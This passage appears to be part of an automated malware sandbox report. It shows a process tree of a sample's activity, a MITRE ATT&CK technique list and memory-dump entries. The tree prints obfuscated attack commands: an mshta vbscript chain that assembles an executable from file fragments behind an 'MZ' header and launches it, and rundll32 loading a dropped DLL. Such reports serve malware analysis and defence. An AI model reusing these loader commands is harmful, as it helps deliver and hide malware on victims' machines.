      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
      4⤵
      PID:5140
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
    3⤵
    PID:5668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
      4⤵
      PID:4700
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        5⤵
        
        PID:4512
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        5⤵
        
        PID:2772
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /F -Im "Thu1653d94a8da.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2516 -ip 2516
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3276 -ip 3276
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4816 -ip 4816
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4548 -ip 4548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4788

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5352
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5376 -ip 5376
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2348 -ip 2348
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5320

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a14855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in Windows directory
PID:4372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/680-394-0x0000000004AE0000-0x00000000050E2000-memory.dmp

Filesize
6.0MB

Download
memory/860-154-0x000001E91BE20000-0x000001E91BE24000-memory.dmp

Filesize
16KB

Download
memory/1556-265-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1920-227-0x0000000003590000-0x0000000003591000-memory.dmp

Filesize
4KB

Download
memory/1920-223-0x0000000003590000-0x0000000003591000-memory.dmp

Filesize
4KB

Download
memory/1944-307-0x0000000005890000-0x0000000005891000-memory.dmp

Filesize
4KB

Download
memory/1944-300-0x0000000005780000-0x0000000005781000-memory.dmp

Filesize
4KB

Download
memory/1944-297-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/1944-313-0x00000000056B0000-0x00000000056B1000-memory.dmp

Filesize
4KB

Download
memory/1944-292-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/1944-296-0x0000000005BD0000-0x0000000005BD1000-memory.dmp

Filesize
4KB

Download
memory/1944-312-0x00000000055B0000-0x0000000005BC8000-memory.dmp

Filesize
6.1MB

Download
memory/2096-389-0x000000001B880000-0x000000001B882000-memory.dmp

Filesize
8KB

Download
memory/2360-146-0x000001FBCB980000-0x000001FBCB990000-memory.dmp

Filesize
64KB

Download
memory/2360-147-0x000001FBCC360000-0x000001FBCC370000-memory.dmp

Filesize
64KB

Download
memory/2360-148-0x000001FBCE960000-0x000001FBCE964000-memory.dmp

Filesize
16KB

Download
memory/2380-177-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2380-184-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2380-183-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2380-185-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2380-178-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/2380-176-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2380-175-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2380-186-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/2380-174-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/2380-171-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2380-172-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2380-173-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/2516-275-0x0000000004B20000-0x0000000004B68000-memory.dmp

Filesize
288KB

Download
memory/2516-218-0x000000000319C000-0x00000000031C5000-memory.dmp

Filesize
164KB

Download
memory/2928-390-0x0000000004B85000-0x0000000004B87000-memory.dmp

Filesize
8KB

Download
memory/2928-251-0x0000000007260000-0x0000000007261000-memory.dmp

Filesize
4KB

Download
memory/2928-260-0x0000000007B20000-0x0000000007B21000-memory.dmp

Filesize
4KB

Download
memory/2928-244-0x0000000004670000-0x0000000004671000-memory.dmp

Filesize
4KB

Download
memory/2928-245-0x0000000004670000-0x0000000004671000-memory.dmp

Filesize
4KB

Download
memory/2928-269-0x00000000079F0000-0x00000000079F1000-memory.dmp

Filesize
4KB

Download
memory/2928-270-0x0000000007A50000-0x0000000007A51000-memory.dmp

Filesize
4KB

Download
memory/2928-271-0x0000000007DB0000-0x0000000007DB1000-memory.dmp

Filesize
4KB

Download
memory/2928-272-0x0000000007A80000-0x0000000007A81000-memory.dmp

Filesize
4KB

Download
memory/2928-250-0x0000000004B90000-0x0000000004B91000-memory.dmp

Filesize
4KB

Download
memory/2928-303-0x00000000083D0000-0x00000000083D1000-memory.dmp

Filesize
4KB

Download
memory/2928-252-0x0000000004B80000-0x0000000004B81000-memory.dmp

Filesize
4KB

Download
memory/2928-276-0x0000000007F50000-0x0000000007F51000-memory.dmp

Filesize
4KB

Download
memory/2928-277-0x0000000008680000-0x0000000008681000-memory.dmp

Filesize
4KB

Download
memory/2928-298-0x00000000082F0000-0x00000000082F1000-memory.dmp

Filesize
4KB

Download
memory/2928-253-0x0000000004B82000-0x0000000004B83000-memory.dmp

Filesize
4KB

Download
memory/3112-273-0x0000000005B90000-0x0000000005CD3000-memory.dmp

Filesize
1.3MB

Download
memory/3276-282-0x0000000004C20000-0x0000000004CF6000-memory.dmp

Filesize
856KB

Download
memory/3276-239-0x0000000002F6D000-0x0000000002FE9000-memory.dmp

Filesize
496KB

Download
memory/3584-281-0x0000000002B00000-0x0000000002B01000-memory.dmp

Filesize
4KB

Download
memory/3584-280-0x0000000002B00000-0x0000000002B01000-memory.dmp

Filesize
4KB

Download
memory/3948-219-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4064-381-0x0000000002EB0000-0x0000000002EC0000-memory.dmp

Filesize
64KB

Download
memory/4064-386-0x0000000002ED0000-0x0000000002EE2000-memory.dmp

Filesize
72KB

Download
memory/4536-447-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/4540-267-0x0000000000700000-0x0000000000701000-memory.dmp

Filesize
4KB

Download
memory/4580-243-0x0000000000700000-0x0000000000701000-memory.dmp

Filesize
4KB

Download
memory/4816-240-0x00000000030FD000-0x000000000310E000-memory.dmp

Filesize
68KB

Download
memory/4816-283-0x00000000030C0000-0x00000000030C9000-memory.dmp

Filesize
36KB

Download
memory/5016-258-0x0000000005340000-0x0000000005341000-memory.dmp

Filesize
4KB

Download
memory/5016-254-0x00000000053A0000-0x00000000053A1000-memory.dmp

Filesize
4KB

Download
memory/5016-441-0x0000000005CE0000-0x0000000005CE1000-memory.dmp

Filesize
4KB

Download
memory/5016-274-0x0000000005B00000-0x0000000005B01000-memory.dmp

Filesize
4KB

Download
memory/5016-246-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download
memory/5016-268-0x0000000005540000-0x0000000005541000-memory.dmp

Filesize
4KB

Download
memory/5072-248-0x0000000000D50000-0x0000000000D51000-memory.dmp

Filesize
4KB

Download
memory/5072-262-0x000000001B140000-0x000000001B142000-memory.dmp

Filesize
8KB

Download
memory/5072-238-0x0000000000490000-0x0000000000491000-memory.dmp

Filesize
4KB

Download
memory/5160-349-0x00000000006C3000-0x00000000006CD000-memory.dmp

Filesize
40KB

Download
memory/5176-371-0x0000000005220000-0x00000000054A6000-memory.dmp

Filesize
2.5MB

Download
memory/5188-350-0x0000000002D63000-0x0000000002DE0000-memory.dmp

Filesize
500KB

Download
memory/5396-373-0x0000000005280000-0x0000000005281000-memory.dmp

Filesize
4KB

Download
memory/5396-334-0x00000000052A0000-0x00000000052A1000-memory.dmp

Filesize
4KB

Download
memory/5396-318-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

Download
memory/5420-391-0x000000001B450000-0x000000001B452000-memory.dmp

Filesize
8KB

Download
memory/5484-324-0x0000000002E40000-0x0000000002E4C000-memory.dmp

Filesize
48KB

Download
memory/5484-311-0x0000000000C50000-0x0000000000C51000-memory.dmp

Filesize
4KB

Download
memory/5484-317-0x0000000001420000-0x0000000001421000-memory.dmp

Filesize
4KB

Download
memory/5656-434-0x0000000005C70000-0x0000000005C71000-memory.dmp

Filesize
4KB

Download
memory/6004-438-0x0000000000400000-0x0000000004A15000-memory.dmp

Filesize
70.1MB

Download
memory/6004-392-0x00000000065F0000-0x000000000AB1E000-memory.dmp

Filesize
69.2MB

Download